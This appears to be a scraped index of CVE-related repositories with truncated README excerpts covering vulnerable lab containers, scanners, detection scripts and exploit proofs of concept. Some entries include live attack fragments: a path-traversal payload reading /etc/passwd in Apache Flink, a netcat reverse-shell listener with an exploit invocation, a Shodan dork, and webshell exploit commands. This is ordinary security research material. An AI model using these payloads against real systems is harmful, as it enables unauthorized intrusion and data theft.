exploit-CVE-2017-6090

Containerized exploitable CVE-2017-6090 This projects builds a container running PhpCollab 2.5.1, containing a remote code execution vulnerability as detailed in CVE-2017-6090. In addition, there is a docker-compse file to start that container and mysql to show the demo, and instructions to explo...

CVE-2024-37032-scanner

CVE-2024-37032 Scanner Scan an entire subnet for vulnerable version of Ollama. If single hose, using X.X.X.X/32...

CVE-2024-30998

PHPGurukul Men Salon Management System 2.0 Welcome to the PHPGurukul Men Salon Management System 2.0 repository. This project aims to provide a robust system for Men Salon Management. Security Vulnerabilities CVE-2024-30998 Description: Vulnerable to SQL Injection via 'email' parameter. Affected...

linux-4.19.72_CVE-2022-30594

Linux kernel There are several guides for kernel developers and users. These guides can be rendered in a number of formats, like HTML and PDF. Please read Documentation/admin-guide/README.rst first. In order to build the documentation, use make htmldocs or make pdfdocs. The formatted documentatio...

GSSC-CVE-2022-41923

Workaround for CVE-2022-41923: Privilege Management Vulnerability Summary The vulnerability CVE-2022-41923 found in the unpatched Grails Spring Security Core GSSC plugin can result in improper privilege management. This repository describes how to work around the issue. If you are using an...

CVE-2021-24006-Fortimanager-Exploit

CVE-2021-24006 – FortiManager Improper Access Control Exploit PoC PoC Proof of Concept - Educational Use Only Exploit for improper access to SD-WAN Orchestrator in FortiManager, exploiting access control flaw CWE-284. Description The CVE-2021-24006 vulnerability affects FortiManager versions 6.4....

CVE-2021-33558

CVE-2021-33558 Reference: https://www.cvedetails.com/cve/CVE-2021-33558 Shodan dork: product:"Boa Web Server" 0.94.13 Payload: /backup.html /preview.html /js/log.js /log.html /email.html /online-users.html /config.js POC:...

CVE-2026-3494_Verfication

CVE-2026-3494 - MariaDB serveraudit Logging Verification PoC This project provides a specialized environment to verify and analyze a potential audit logging bypass in the MariaDB serveraudit plugin when specific inline comments , -- are used within SQL queries. Key Findings Logging Omission in...

external_zlib_4.4_CVE-2018-25032

ZLIB DATA COMPRESSION LIBRARY zlib 1.2.7 is a general purpose data compression library. All the code is thread safe. The data format used by the zlib library is described by RFCs Request for Comments 1950 to 1952 in the files http://tools.ietf.org/html/rfc1950 zlib format, rfc1951 deflate format...

linux-4.19.72_CVE-2022-29581

Linux kernel There are several guides for kernel developers and users. These guides can be rendered in a number of formats, like HTML and PDF. Please read Documentation/admin-guide/README.rst first. In order to build the documentation, use make htmldocs or make pdfdocs. The formatted documentatio...

-nginxui_discover

Nginx UI Discovery Scanner - CVE-2026-27944 Version Detector https://img.shields.io/badge/python-3.6+-blue.svg https://img.shields.io/badge/license-MIT-green https://img.shields.io/badge/threading-multi--threaded-brightgreen Author: NULL200OK A high‑performance, multi‑threaded scanner to discover...

CVE-2020-17519-Apache-Flink

CVE-2020-17519 Apache Flink Arbitrary File Read Affected Versions Apache Flink 1.5.1 1.11.2 POC /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd Usage python3 CVE-2020-17519 --help View usage help python3 CVE-2020-17519 -u...

CVE-2025-24367-Cacti-Exploit

CVE-2025-24367-WebShell Exploit I have created this small script for CVE-2025-24367 - From Cacti, a script made to obtain a webshell thanks to the vulnerability in cacti version 1.2.28. Script usage: python CVE-2025-24367-Exploit.py --url "http://webEjemplo.htb/cacti/" --user "usuario" --password...

MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744

on kali linux - terminal 1 nc -lvnp 4444 on kali linux - terminal 2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...

CVE-2026-37748

CVE-2026-37748 — Visitor Management System 1.0 - Unrestricted File Upload → RCE Details Field| Info ---|--- CVE ID| CVE-2026-37748 Type| Unrestricted File Upload → Remote Code Execution Severity| High CVSSv3: 7.2 Vendor| sanjay1313 Product| Visitor Management System Version| 1.0 Discoverer| Varad...

CVE-2025-11844-smolagents

🔐 Smolagents XPath Injection Simulation Framework CVE-2025-11844 An educational auditing sandbox and dynamic proof-of-concept scanner demonstrating the XPath Injection vulnerability found within Hugging Face's smolagents library up to version 1.2.0. 🔍 Vulnerability Profile Metric| Details ---|---...

CVE-2023-23752_Joomla

CVE-2023-23752 Joomla! v4.2.8 - Unauthenticated Information Disclosure A proof-of-concept for CVE-2023-23752 Joomla! v4.2.8 - Unauthenticated Information Disclosure. For versions 4.0.0 4.2.8 it means from 4.0.0 up to 4.2.7. Getting Started Executing program With python3 python3 exploit.py -t...

CVE-2023-22515-check

Disclaimer This script is for educational and testing purposes only. Use it responsibly and ensure you have permission to test the target Confluence instance. Unauthorized testing is illegal and unethical. Confluence CVE-2023-22515 Vulnerability Detection Script This script checks if a Confluence...

CVE-2020-12593

CVE-2020-12593 CVE-2020-12593 POC Symantec EDR on-prem version prior to "4.5" is prone to an information disclosure vulnerability via the following URL : https://@IPEDR/atpapi/v2/policies/blacklist Reference...

CVE-2026-1357

CVE-2026-1357 Lab Environment for CVE-2026-1357 1. Build the environment sudo apt update && sudo apt install docker.io docker-compose -y sudo systemctl start docker git clone Link of Repo wget https://downloads.wordpress.org/plugin/wpvivid-backuprestore.0.9.123.zip unzip...